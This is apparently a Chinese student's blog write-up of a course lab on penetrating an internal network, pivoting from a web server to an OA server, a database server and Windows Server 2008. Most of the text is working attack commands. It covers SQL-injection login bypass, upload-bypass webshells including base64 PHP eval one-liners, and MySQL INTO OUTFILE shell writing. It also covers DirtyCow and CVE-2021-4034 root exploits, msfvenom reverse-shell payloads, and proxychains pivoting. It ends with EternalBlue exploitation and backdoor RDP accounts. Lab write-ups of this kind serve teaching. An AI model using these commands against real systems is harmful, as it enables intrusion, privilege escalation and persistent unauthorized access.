前言
时间很快就来到了学期的最后一个月,和上学期一样,最后的几周是实训周,而这次实训恰好就是我比较喜欢的网络攻防,因为之前学过相关的知识,做过一些靶场,相比于其他同学做起来要快些,不过内网渗透也还是头一次,得益于这次的内网渗透靶场环境,小小地体验了一下,期间也踩了许多坑,也陆陆续续地解决掉了。所以就以本篇文章做个总结,目的在于梳理所学到地知识点和分享。
环境&工具
物理机 (win 10) ip:172.20.10.1
工具:蚁剑
、火狐(hackbar插件)
攻击机(kali) ip:172.20.10.129
工具:MSF框架
、Burpsuite
、冰蝎
、weevely
、Nmap
、Proxychains4
…
靶场拓扑图
渗透过程
准备
首先需要拿到一个入口地址
在FW中查看
这个是Web服务器的外网地址 10.100.1.104
,直接访问是访问不到的,需要使用老师给的vpn。
这里直接在kali中配置vpn,
得到一个10.200.0.77
地址。(这里得到的地址会经常变,后面操作的时候可能会不一致)
渗透测试web服务器
刚刚通过查看FW防火墙的配置拿到了web服务器的地址10.100.1.104
信息收集
端口扫描
1 | nmap -sT 10.100.1.104 -sV |
开放了80
端口,web服务器是用Apache 2.2.15
,操作系统为Centos
web渗透测试
登录处存在万能密码 or 1=1 #
绕过
成功进入到后台管理界面
在用户管理->头像编辑处存在文件上传绕过检测漏洞
使用kali自带的weevely
工具生成php后门
1 | weevely generate 123456 backdoor.php |
进行上传
在头像处找到后门的上传地址
连接php后门
1 | weevely http://10.100.1.104/avatar/admin.php 123456 |
已经成功拿到一个webshell权限
漏洞分析
sql注入漏洞分析
刚刚是用sql注入进入的后台,burp抓包发现是请求的login.php
文件,接下来对该文件进行分析。
1 | # 省略了无关紧要的代码 |
全局变量POST接收了email
和password
,登录的sql语句为
1 | $query = "SELECT username, isadmin FROM users WHERE email = '$email' and password = '$password';"; |
可以发现没怎么过滤,传入的密码进行md5加密,我们在email处构造的万能密码admin'or 1=1 #
,拼接到sql语句中为
1 | $query = "SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1 #' and password = '$password';"; |
sql语句中#
为注释符,这里真正执行的sql语句为
1 | SELECT username, isadmin FROM users WHERE email = 'admin'or 1=1; |
'admin' or 1=1
这个where条件,会查询出所有的用户名。
查询得记录值不少于1条就会进入if语句,进而执行$_SESSION['logged'] = true;
。
1 | if ($num > 0) { |
而后访问admin.php
,只会对$_SESSION['logged']
进行验证。所以成功登录了后台。
1 |
|
文件上传漏洞分析
后面是使用了文件上传漏洞绕过文件类型检测上传了php木马。通过burp发现,最终请求了users.php
文件
关键代码逻辑如下
1 | if (isset($_POST['submit'])) { |
最关键的验证代码为
1 | if ((($_FILES["file"]["type"] == "image/png")) |
这里只对文件的类型和文件大小进行了验证,并没有对后缀名进行验证。所以这里将Content-Type: image/png
进行绕过即可上传。
提权
我们已经拿到了一个权限为apache的shell,接下来将权限提升到root。
首先查看该Linux的内核版本
1 | uname -a |
使用kali中的searchsploit
工具搜索版本号为2.6
相关的提权漏洞,Linux中最出名的一个提权漏洞,影响范围Linux kernel >= 2.6.22
,直接搜关键字dirty
.
1 | searchsploit 2.6 | grep -i "dirty" |
拷贝到当前路径下
1 | searchsploit -m 40839 . |
接下来通过weevely
工具将40839.c
文件上传到web服务器的/tmp
路径下
1 | :file_upload /home/kali/40839.c /tmp/40839.c |
在40839.c
文件中可以找到编译该这个脚本的方式
1 | gcc -pthread 40839.c -o dirty -lcrypt |
赋予执行权限&执行
1 | chmod +x dirty |
已经执行了但是没有回显,直接Ctrl+C
断掉中断,再重连,通过查看cat /etc/passwd
看看是否替换掉了root
用户
发现已经成功变成了firefart
用户,说明已经提权成功。
ssh连接查看flag
因为防火墙的只放行了80
端口,不能直接通过远程主机的22
端口进行ssh
连接,所以我们需要用msf
做一个端口转发,将web服务器的22
端口转发到本地的2222
端口。
接下来使用msfvenom
生成一个linux后面文件
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.200.0.47 lport=9876 -f elf > shell9876 |
通过weevely
将后门文件shell9876
上传至web靶机的/tmp
目录下
1 | :file_upload /home/kali/shell9876 /tmp/shell |
接下来打开msfconsole
进行监听
1 | use exploit/multi/handler |
回到weevely
界面中,赋予shell
执行权限并执行
1 | chmod +x shell&./shell |
回到msfconsole
终端下
已经成功反弹(这里仔细看的话会发现反弹ip地址不对,是因为ip地址临时变了一次)
接下来将web服务器的22
端口转发到本地的2222
端口
1 | portfwd add -l 2222 -r 127.0.0.1 -p 22 |
接下来直接ssh
连接127.0.0.1
,端口为 2222
,密码为123456
1 | ssh firefart@127.0.0.1 -p 2222 |
成功拿下
注意:如果要返回到从meterpreter
返回到模块配置界面输入background
,会返回一个session号,这个在后面配置路由的时候会用到。
内网横向移动
内网横向移动可以通过msf添加路由用msf自带模块扫C段,或者配置socks5
代理服务,配置proxychains4
用nmap来扫。这里根据分析http请求日志来拿到内网网段。
查看日志
日志目录
1 | /var/log/httpd |
在access_log-20211018
日志文件中发现一个网段192.168.223.0
接下来通过 socks5代理的方式,用nmap探测192.168.223.0
存活的主机。
配置路由
在msf中配置路由
1 | route add 192.168.223.0 255.255.255.0 1 |
开启socks5代理服务
使用use auxiliary/server/socks_proxy
模块开启sockes5代理服务。
查看1080
端口是否开启
1 | netstat -lnt |
配置proxychains4
接下来使用proxychains4
工具来进行我们的socks5代理,使用这个工具前需要对其配置文件进行配置
配置文件路径/etc/proxychains4.conf
,在其末尾添加socks服务的ip 和端口
1 | sudo vim /etc/proxychains4.conf |
Namp探测网段主机存活
1 | proxychains4 nmap -sn 192.168.223.0/24 |
注意:这里有个小坑,用proxychains4
代理工具+nmap
进行扫描,扫描出来的ip全都是存活的,在网上没有找到解决这个问题的资料,但也不妨碍继续渗透,可以在proxychains
转发日志中发现那些ip是真正存活的。
通过nmap主机发现得到了192.168.223.1
和192.168.223.3
两个ip地址,接下来对223.1
进行渗透测试。
内网渗透:OA系统
信息收集
端口扫描
1 | proxychains4 nmap -sT 192.168.223.1 -sV |
目标主机开放了22
、80
端口,发现web服务器为nginx1.18.0
,操作系统为Ubuntu
。接下对web
服务进行渗透测试。
web渗透测试
注意:使用kali中的浏览器对192.168.223.1
进行访问,需要对浏览器配置socks5
代理。
使用kali中的firefox
火狐浏览器,我直接使用foxyProxy
插件配置代理,方便切换。
配置的socks5代理
密码爆破
一个登录界面
输个123456
,登录。
提示密码为5位数,10000-99999
之间,需要对登录界面进行爆破。两种方式,一个是使用burp
里的intruder
模块进行爆破,二是自己写爆破脚本。
第一种方式:使用burp
里的intruder
模块进行爆破
注意 :需要给浏览器配置socks5
代理才能访问192.168.223.1
,但是想要使用burp进行抓包,需要浏览器配置burp
的代理,如果配置了burp的代理就不能访问了192.168.223.1
,所以我们需要对burp进行配置一个前置代理。也就是给火狐配置burp
的代理,给burp
配置内网socks5
代理。
在burp suite->User options
模块下配置
接下来,burp抓取登录包,send to intruder
配置Positions
配置Payloads
开始爆破
注意:kali里的burp suite
为社区版,猜测是做了限制,跑起来非常得慢,可以在物理机上使用破解后的burp进行爆破,会快很多,或者自己编写python脚本进行爆破。
爆破成功的截图
第二种方式:自己编写Python爆破脚本
1 | import requests |
注意:需要在脚本的第20行修改为自己的socks代理,线程默认为20,可改可不改
结果
拿到密码后,接下来登录后台
存在两个漏洞,可以在头像修改处发现文件上传漏洞,但是上传的文件没有执行权限,在后台页面的存在文件包含漏洞。
文件上传+文件包含getshell
文件上传可以上传,但是对上传路径是没有访问权限。
测试文件包含漏洞
1 | http://192.168.223.1/?page=../../../../../etc/passwd |
成功包含出/etc/passwd
上传图片马,我的图片马文件内容为
文件名:shell.php.png
1 | GIF89a |
不需要抓包,直接将后缀改成png
格式,直接上传。在头像出找到头像的路径。
接下来,对该文件进行包含
传参进行测试,(我kali中的firefox
的hackbar
不太听使唤,这里我直接在win10上对firefox
配置kali
的socks5
代理进行测试)
成功执行了phpinfo();
函数。
命令执行写马
我直接通过win10下的蚁剑进行连接,但是一直报错
注意:蚁剑也需要配socks5
代理
可以执行命令,但是却连接不上,接下来通过命令执行在网站根目录写一句话木马
1 | echo "PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+" | base64 -d >3.php |
1 | http://192.168.223.1/?page=./avatar/admin.png |
成功写入
蚁剑连接
注意:这里会存在连接不上的情况,需要多次尝试,有机会能连上。
蚁剑连接极其不稳定,这里选择在/tmp
目录上传一个linux后门,将shell反弹给msf。
运气比较好,一次就上传成功了,正常情况可能需要多次尝试上传。
打开蚁剑的虚拟终端
切换到/tmp
目录下,赋予后门执行
权限,可以看到执行了很多次才有反应。
回到MSF下进行监听
执行后门
成功反弹(在msf的shell下执行命令流畅很多)。
在Meterpreter中执行shell得到的终端一片空白
获得一个带标识得终端
1 | script -qc /bin/bash /dev/null |
漏洞分析
文件上传分析(直接打包网站源码在win10下进行分析)
1 | if (isset($_POST['submit'])) { |
跟跳板机web
服务器的文件上传一模一样,不多说了,可以通过修改Content-Type
进行绕过,唯一不同的是对当前web服务的上传路径没有访问权限。
文件包含
1 |
|
从page参数接收文件名,然后对该文件名进行文件包含,可以发现没有任何限制,想怎么玩都可以。
查看数据库配置文件
当我们拿到一个webshell后,虽然权限不高,有很多限制,但是依旧可以通过查看数据库配置文件,拿到数据库的账号密码,然后登录进行查看一些敏感信息。在config/dbconnect.php
文件中发现
通过查看数据库配置文件得到mysql服务器的IP
、用户名
、密码
和当前连接的数据库名
。意味着我们可以远程连接到192.168.223.3
这个主机的mysql
服务器。这里先不管,待会再说,先尝试提权。
提权
注意:通过测试不能提到root权限,也问了老师,这台靶机可以不用提到root,以下只是尝试的过程。
Linux的内核版本为5.4.0
,操作系统Ubuntu 20.04
,版本比较新,未发现提权漏洞。
看看能不能利用文件有特殊执行权限的suid
或sgid
进行提取
1 | find / -perm -u=s -type f 2>/dev/null //查找suid文件 |
重点关注到sudo
和pkexec
,因为这两个命令被爆出提权漏洞。
根据这篇文章
https://www.geekby.site/2021/01/cve-2021-3156%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
先查看第一个sudo的版本号
刚好符合在影响版本范围内,进行判断
1 | sudoedit -s / |
好像并不 存在漏洞。
第二个
看起来好像符合漏洞存在的范围,快速判断试试
1 | sudoedit -s / |
好像报错了,但是跟存在漏洞的报错又完全不一样。
我按照博客上文章进行提权。
也没有成功。
接下来把希望放在pkexec
,CVE号CVE-2021-4034
,这是去年才爆出来的的漏洞。
提权脚本 https://github.com/berdav/CVE-2021-4034
成功提到root,还是有点惊喜。
内网渗透:DB服务器渗透
刚刚在查看数据库配置文件的时候发现了192.168.223.3
这个IP和数据库的账号密码,接下来对该主机进行渗透测试。
信息收集
端口扫描
1 | proxychains4 nmap -sT 192.168.223.3 -sV |
开启了80
、22
、111
、3306
端口,操作系统为Centos
。
web渗透测试
看起来是一个phpMyadmin网站,用来管理mysql数据库的,但是访问连个登录框都没有。
利用Mysql服务写马
接下来用刚刚在配置文件中找的数据库用户名密码进行连接mysql。
1 | proxychains4 mysql -h 192.168.223.3 -u oa -p 144d993ba34367792dfe58370935c4b5 |
成功登录,接下来看看数据库是否具有读写权限。
1 | select load_file("/etc/passwd"); |
具有读权限,尝试往网站目录/var/www/html
下写一句话木马。
1 | select 1,"666<?php eval($_POST['shell']);?>" into outfile "/var/www/html/shell.php"; |
访问
成功写入,蚁剑连接(还是会遇到连不上的问题,多连几次就好)
上传Linux后门,反弹到msf
执行
反弹成功
提权
内核版本和跳板机一样,提权步骤也一样。
上传提权脚本
1 | meterpreter >upload /home/kali/40839.c /tmp/40839.c |
编译
1 | gcc -pthread 40839.c -o dirty -lcrypt |
赋予执行权限并执行
1 | chmod 777 dirty && ./dirty |
ssh连接
1 | proxychains4 ssh firefart@192.168.223.3 |
成功拿下
内网渗透:Windows服务器
最初,我从外网访问到内网的一台web服务器,通过web漏洞上传php后门渗透进入web服务器,上传了Linux后门,反弹到了MSF上,在通过MSF的route add
添加了一条192.168.223.0
的路由,用use auxiliary/server/socks_proxy
开启socks5的代理服务,利用proxychains4
配置代理后,利用nmap
对192.168.223.0/24
网段进行主机发现,扫出192.168.223.1
和192.168.223.2
两个ip,通过文件上传+文件包含的方式拿下了192.168.223.1
这台服务器,还剩下192.168.223.2
未进行测试,接下来,将对192.168.223.2
进行渗透测试。
信息搜集
端口扫描
1 | proxychains4 nmap -sT 192.168.223.2 -sV |
可以看到开放了很多端口,主要关注135
、139
、445
三个端口,重点关注445
,17年的永恒之蓝漏洞利用工具就是对该端口进行利用,该主机的操作系统Windows Server 2008 R2
。
永恒之蓝
接下来使用代理过后的 msf
进行检测
1 | proxychains4 msfconsole |
关键字ms17-010
搜索利用模块
1 | search ms17-010 |
可以先使用模块auxiliary/scanner/smb/smb_ms17_010
进行检测,再使用exploit/windows/smb/ms17_010_eternalblue
进行利用,不过后者再进行利用的时候也会对其先进行检测,所以直接使用exploit/windows/smb/ms17_010_eternalblue
模块。
1 | use 0 |
配置模块
注意:这个模块默认使用windows/x64/meterpreter/reverse_tcp
作为payload
,因为使用了代理,会出现利用成功却不能反弹回来的情况,所以需要将paylaod
改为windows/x64/meterpreter/bind_tcp
。
1 | set RhOSTS 192.168.223.2 |
执行
可以发现,该模块先使用了auxiliary/scanner/smb/smb_ms17_010
进行了检测,并检测出了永恒之蓝漏洞。但是这里需要注意的是,不一定百分百连接上,很大可能性利用成功却反弹不回来,多尝试几次就可以连上。
尝试了四次才成功
因为445
端口是smb服务,而smb服务又是系统服务,从该端口拿到的权限就是管理员权限,所以不需要进行提权。
权限维持
接下来利用MSF的run post/windows/manage/enable_rdp
模块开启windows主机的3389远程桌面
1 | run post/windows/manage/enable_rdp #开启远程桌面 |
添加一个用户
1 | run post/windows/manage/enable_rdp USERNAME=fany PASSWORD=123456 #添加用户 |
将windwos服务器的3389转发到攻击机kali的6662端口
1 | run post/windows/manage/enable_rdp FORWARD=true LPORT=3389 #将windows服务器的3389端口转发到kali的3389端口 |
接下来,通过win10下的远程桌面连接(mstsc.exe)工具连接到kali的3389端口
也可以直接在kali执行
1 | rdesktop -u fany -p 123456 127.0.0.1:3389 |
永恒之蓝方程式的原生稳定利用方式
因为挂了代理,MSF利用起来不是很稳定,有的同学可能有点完美主义,觉得需要多次尝试不够帅气,有没有一次并且很稳定利用成功的方法呢,答案是有,利用shadowbroker
工具里的fb.py
进行利用,然后通过加载dll
的方式加载MSF生成的dll
后门,进行反弹。不过我在当前的windows靶机中没有复现成功,报了一个[-] ERROR unrecognized OS string
的错误,具体原因参考这篇文章https://captmeelo.com/pentest/2018/06/26/patching-doublepulsar.html,网上相关资料比较少,没继续搞。不过自己在本地搭建的win7环境中,使用该工具能够反弹成功,总之也提供了另一种思路,想学习也可以参考这几篇文章:
https://zhuanlan.zhihu.com/p/153541322
https://blog.51cto.com/hashlinux/2092863
知识点汇总
获得一个带标识得终端
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
使用EW做反向代理服务器
1 | 本地:ew_for_Win.exe -s rcsocks -l 8888 -e 8001 |
命令执行写马
1 | ?shell=system('echo "PD9waHAgZXZhbCgkX1BPU1RbJ3NoZWxsJ10pOz8+" | base64 -d >3.php'); |
Hydra对ssh进行爆破
1 | hydra -l 用户名 -P 密码字典 ssh://IP:Port -f -vV -t 10 |
总结
正如一个朋友所说,每个靶机拿到权限的难度很容易,但是很容易被一些细节性的知识点给卡死。我开始做的时候也是一样,先是MSF的代理不能代理,然后换成EW做反向代理,但又不够稳定,遇到解析不了的域名直接就会断掉,尤其是使用火狐浏览器,火狐会自动发一些包到它的服务器,在内网环境下,不能出网,也会直接给断掉。后来搞懂了MSF代理的使用后,才好得多。再就是对内网靶机进行渗透的时候,后门传上去,但是却连不上的问题,还有有OA系统那台服务器的提权,最开始没提上去,后面又成功提上去,都是经过了一次次尝试,最后才成功的,其实这个过程即痛苦又挺有意思,学到东西也很有成就感,总之,搞安全就是需要不断学习,不断进步的。